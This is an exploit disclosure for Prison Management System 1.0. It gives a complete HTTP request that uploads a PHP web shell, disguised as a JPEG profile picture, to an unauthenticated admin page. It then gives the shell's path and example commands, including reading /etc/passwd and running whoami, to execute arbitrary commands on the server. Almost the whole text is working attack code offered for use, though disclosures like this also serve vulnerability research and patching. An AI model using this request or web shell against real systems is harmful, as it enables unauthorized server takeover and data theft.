Prison Management System 1.0 Shell Upload

`# Exploit Title: Prison Management System 1.0 - Unuthenticated RCE  
# Date: 24.07.2024  
# Exploit Author: Muhammet Ali Dak  
# Vendor Homepage: https://www.sourcecodester.com/sql/17287/prison-management-system.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=17287&title=Prison+Management+System+Using+PHP  
# Version: 1.0  
# Tested on: Linux  
  
## Unauthenticated users can access /Admin/add-admin.php address and they can upload malicious php file by changing Content-Type to image/jpeg instead of profile picture image without any authentication.   
  
POST /Admin/add-admin.php HTTP/1.1  
Host: 192.168.60.131  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate, br  
Content-Type: multipart/form-data; boundary=---------------------------84806108511207628902669766678  
Content-Length: 1055  
Origin: http://192.168.60.131  
Connection: keep-alive  
Referer: http://192.168.60.131/Admin/add-admin.php  
Upgrade-Insecure-Requests: 1  
Priority: u=0, i  
  
-----------------------------84806108511207628902669766678  
Content-Disposition: form-data; name="txtusername"  
  
yuznumara  
-----------------------------84806108511207628902669766678  
Content-Disposition: form-data; name="txtfullname"  
  
yuznumara  
-----------------------------84806108511207628902669766678  
Content-Disposition: form-data; name="txtpassword"  
  
yuznumara123  
-----------------------------84806108511207628902669766678  
Content-Disposition: form-data; name="txtphone"  
  
55353535353  
-----------------------------84806108511207628902669766678  
Content-Disposition: form-data; name="avatar"; filename="cmd.php"  
Content-Type: image/jpeg  
  
<?php  
  
if(isset($_REQUEST['cmd'])){  
echo "<pre>";  
$cmd = ($_REQUEST['cmd']);  
system($cmd);  
echo "</pre>";  
die;  
}  
  
?>  
  
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd  
-----------------------------84806108511207628902669766678  
Content-Disposition: form-data; name="btncreate"  
  
  
-----------------------------84806108511207628902669766678--  
  
## Malicious file can be seen under the path /uploadImage/Profile/ without any authentication.  
  
## With the request http://192.168.60.131/uploadImage/Profile/cmd.php?cmd=whoami the attacker can execute arbitrary command on the application server.  
`